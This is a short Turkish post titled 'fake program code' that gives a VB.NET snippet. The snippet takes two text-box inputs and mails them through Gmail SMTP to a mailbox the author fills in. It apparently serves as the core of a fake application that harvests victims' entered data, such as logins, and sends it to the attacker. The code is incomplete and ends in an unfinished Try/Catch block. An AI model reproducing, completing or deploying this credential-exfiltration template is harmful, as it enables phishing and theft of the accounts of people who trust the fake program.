FAKE PROQRAM KODU

1.Kod
Imports System.Net.Mail

2.Kod
Dim MyMailMessage As New MailMessage 
Try MyMailMessage.From = New MailAddress("G-Mail'inizi Yazınız") MyMailMessage.To.Add("G-Mail'in­izi Yazınız") MyMailMessage.Subject = TextBox1.Text MyMailMessage.Body = TextBox2.Text Dim Smtp As New SmtpClient("smtp.gmail.com") Smtp.Port = 587 Smtp.EnableSsl = True Smtp.Credentials = New System.Net.NetworkCredential("G-Mai­l'inizi Yazınız", "G-Mail Şifrenizi Yazınız") Smtp.Send(MyMailMessage) MsgBox("Mesajınızı Yazınız") Catch ex As Exception